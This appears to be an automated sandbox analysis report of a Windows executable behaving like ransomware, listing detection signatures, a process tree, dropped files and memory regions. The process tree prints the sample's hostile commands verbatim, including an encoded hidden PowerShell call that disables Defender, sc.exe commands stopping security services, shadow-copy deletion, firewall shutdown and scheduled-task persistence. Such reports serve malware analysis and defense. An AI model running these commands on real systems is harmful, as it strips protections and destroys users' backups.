Analysis

  • max time kernel
    12s
  • max time network
    161s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/05/2026, 07:45

General

  • Target
    creditstacks.com_hybers.exe
  • Size 49KB
  • Sample260504-jletkshx9q
  • SHA256 26afd93c6fadf5ae23ec81acb711f6b6c89183ec9e80d3ab85bad86df235e020
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 3 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Stops running service(s) 4 TTPs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 10 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
    "C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops startup file
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4980
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1852
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4332
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5000
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:572
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:2100
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3692
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3404
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:6116
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5784
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5308
      • C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
        "C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe"
        3⤵
          PID:1720
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:584
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4572
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
            PID:4948
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:4264
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
                PID:4284
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
              2⤵
                PID:2064
                • C:\Windows\system32\systeminfo.exe
                  systeminfo
                  3⤵
                  • Gathers system information
                  PID:3880
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
                2⤵
                  PID:2144
                  • C:\Windows\system32\tasklist.exe
                    tasklist
                    3⤵
                    • Enumerates processes with tasklist
                    PID:124
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
                  2⤵
                    PID:2768
                    • C:\Windows\system32\whoami.exe
                      whoami
                      3⤵
                        PID:548
                    • C:\Windows\SYSTEM32\cmd.exe
                      "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
                      2⤵
                        PID:4588
                        • C:\Windows\system32\net.exe
                          net user
                          3⤵
                            PID:1700
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 user
                              4⤵
                                PID:5944
                          • C:\Windows\SYSTEM32\cmd.exe
                            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                            2⤵
                              PID:3024
                              • C:\Windows\system32\ipconfig.exe
                                ipconfig /all
                                3⤵
                                • Gathers network information
                                PID:3872
                            • C:\Windows\SYSTEM32\cmd.exe
                              "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                              2⤵
                                PID:4756
                                • C:\Windows\system32\NETSTAT.EXE
                                  netstat -an
                                  3⤵
                                  • Gathers network information
                                  PID:5104
                              • C:\Windows\SYSTEM32\schtasks.exe
                                "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe" /sc daily /f
                                2⤵
                                • Scheduled Task/Job: Scheduled Task
                                PID:3832
                              • C:\Windows\System32\wscript.exe
                                "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                2⤵
                                  PID:2804
                                • C:\Windows\System32\notepad.exe
                                  "C:\Windows\System32\notepad.exe"
                                  2⤵
                                    PID:4288
                                  • C:\Windows\System32\vssadmin.exe
                                    "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                    2⤵
                                    • Interacts with shadow copies
                                    PID:5236
                                  • C:\Windows\System32\wbem\WMIC.exe
                                    "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                    2⤵
                                      PID:1808
                                    • C:\Windows\System32\net.exe
                                      "C:\Windows\System32\net.exe" stop srservice
                                      2⤵
                                        PID:5388
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 stop srservice
                                          3⤵
                                            PID:4688
                                        • C:\Windows\System32\netsh.exe
                                          "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                          2⤵
                                          • Modifies Windows Firewall
                                          PID:4632
                                        • C:\Windows\System32\sc.exe
                                          "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                                          2⤵
                                          • Launches sc.exe
                                          PID:3860
                                        • C:\Windows\System32\sc.exe
                                          "C:\Windows\System32\sc.exe" stop i8042prt
                                          2⤵
                                          • Launches sc.exe
                                          PID:5476
                                      • C:\Windows\system32\LogonUI.exe
                                        "LogonUI.exe" /flags:0x0 /state0:0xa3a1b055 /state1:0x41c64e6d
                                        1⤵
                                        • Modifies data under HKEY_USERS
                                        • Suspicious use of AdjustPrivilegeToken
                                        • Suspicious use of SetWindowsHookEx
                                        PID:5100
                                      • C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
                                        C:\Users\Admin\AppData\Local\Temp\creditstacks.com_hybers.exe
                                        1⤵
                                          PID:3708
                                        • C:\Windows\system32\vssvc.exe
                                          C:\Windows\system32\vssvc.exe
                                          1⤵
                                            PID:5196

                                          Network

                                                MITRE ATT&CK Enterprise v16

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                                                Downloads

                                                invoice_1.pdf

                                                • Path C:\ProgramData\invoice_1.pdf
                                                • Size 66KB
                                                • SHA256 6736994ab1bdcd0634ebed9ecd1ea138ce5bb88b9c5c3aeb9cab60f81362b950
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                doc_3.pdf

                                                • Path C:\SystemVolumeInformation\doc_3.pdf
                                                • Size 66KB
                                                • SHA256 b26cc81fc699acdf0459d488e35ae8ab6429cb1701d223a0d34452497ca1d74b
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                creditstacks.com_hybers.exe.log

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\creditstacks.com_hybers.exe.log
                                                • Size 660B
                                                • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                                                • MD5 SHA1 SHA512 TLSH

                                                __PSScriptPolicyTest_mlb4txl2.5ji.ps1

                                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mlb4txl2.5ji.ps1
                                                • Size 60B
                                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                • MD5 SHA1 SHA512 TLSH

                                                createshortcut.vbs

                                                • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                                • Size 248B
                                                • SHA256 a8e662a5c300af0e956d67e042283589dfd3b67521adef344ae8b1bc63fcb1c1
                                                • MD5 SHA1 SHA512 TLSH

                                                del.bat

                                                • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                                                • Size 59B
                                                • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                                                • MD5 SHA1 SHA512 TLSH

                                                makelnk.vbs

                                                • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                                • Size 249B
                                                • SHA256 3a44ed592da98f11cce1cb0810050e256c7745a17f7e369793d1e28448c669ea
                                                • MD5 SHA1 SHA512 TLSH

                                                sysupdate.exe

                                                • Path C:\Windows\System32\sysupdate.exe
                                                • Size 49KB
                                                • SHA256 26afd93c6fadf5ae23ec81acb711f6b6c89183ec9e80d3ab85bad86df235e020
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                memory/124-2302-0x000002A693590000-0x000002A69363F000-memory.dmp

                                                memory/124-2286-0x000002A693590000-0x000002A69363F000-memory.dmp

                                                memory/584-2242-0x00000282A3490000-0x00000282A349C000-memory.dmp

                                                memory/584-2241-0x00000282A1B30000-0x00000282A1BDF000-memory.dmp

                                                memory/1808-2287-0x0000021F04B10000-0x0000021F04B41000-memory.dmp

                                                memory/1852-2049-0x000001E3C8840000-0x000001E3C88EF000-memory.dmp

                                                memory/1852-2245-0x000001E3E16E0000-0x000001E3E16FA000-memory.dmp

                                                memory/1852-1736-0x000001E3E16A0000-0x000001E3E16BC000-memory.dmp

                                                memory/1852-32-0x000001E3C8E60000-0x000001E3C8E82000-memory.dmp

                                                memory/1852-2051-0x000001E3C8E00000-0x000001E3C8E12000-memory.dmp

                                                memory/1852-2292-0x000001E3C89C0000-0x000001E3C89CC000-memory.dmp

                                                memory/1852-2050-0x000001E3C89C0000-0x000001E3C89CC000-memory.dmp

                                                memory/1852-1404-0x000001E3E1520000-0x000001E3E152A000-memory.dmp

                                                memory/1852-1047-0x000001E3E1460000-0x000001E3E1513000-memory.dmp

                                                memory/1852-998-0x000001E3E1340000-0x000001E3E135C000-memory.dmp

                                                memory/1852-2243-0x000001E3E1680000-0x000001E3E168A000-memory.dmp

                                                memory/1852-2257-0x000001E3E16D0000-0x000001E3E16DA000-memory.dmp

                                                memory/1852-2291-0x000001E3C8840000-0x000001E3C88EF000-memory.dmp

                                                memory/1852-2253-0x000001E3E1690000-0x000001E3E1698000-memory.dmp

                                                memory/1852-2255-0x000001E3E16C0000-0x000001E3E16C6000-memory.dmp

                                                memory/2804-2266-0x00000160DF600000-0x00000160DF60C000-memory.dmp

                                                memory/2804-2265-0x00000160DDCA0000-0x00000160DDD4F000-memory.dmp

                                                memory/3880-2284-0x0000020844C80000-0x0000020844D2F000-memory.dmp

                                                memory/3880-2300-0x0000020844C80000-0x0000020844D2F000-memory.dmp

                                                memory/4264-2282-0x00000244C8660000-0x00000244C870F000-memory.dmp

                                                memory/4284-2296-0x000001871B180000-0x000001871B1B1000-memory.dmp

                                                memory/4288-2285-0x00000245FB2E0000-0x00000245FB38F000-memory.dmp

                                                memory/4288-2258-0x00000245FB390000-0x00000245FB391000-memory.dmp

                                                memory/4980-1684-0x000000001C480000-0x000000001C52F000-memory.dmp

                                                memory/4980-1718-0x000000001AE50000-0x000000001AE60000-memory.dmp

                                                memory/4980-0-0x00000000002C0000-0x00000000002D2000-memory.dmp

                                                memory/4980-1683-0x000000001ADA0000-0x000000001ADAC000-memory.dmp

                                                memory/4980-2297-0x000000001CAA0000-0x000000001CAB2000-memory.dmp

                                                memory/4980-3-0x000000001DBC0000-0x000000001E0E8000-memory.dmp

                                                memory/4980-2-0x000000001D9F0000-0x000000001DBB2000-memory.dmp

                                                memory/4980-1-0x000000001AE50000-0x000000001AE60000-memory.dmp

                                                memory/5100-1699-0x000001A2C2F30000-0x000001A2C2FDF000-memory.dmp

                                                memory/5196-2299-0x00000240E00A0000-0x00000240E014F000-memory.dmp

                                                memory/5236-2283-0x00000186E9350000-0x00000186E93FF000-memory.dmp

                                                memory/5308-358-0x000001C650010000-0x000001C6500BF000-memory.dmp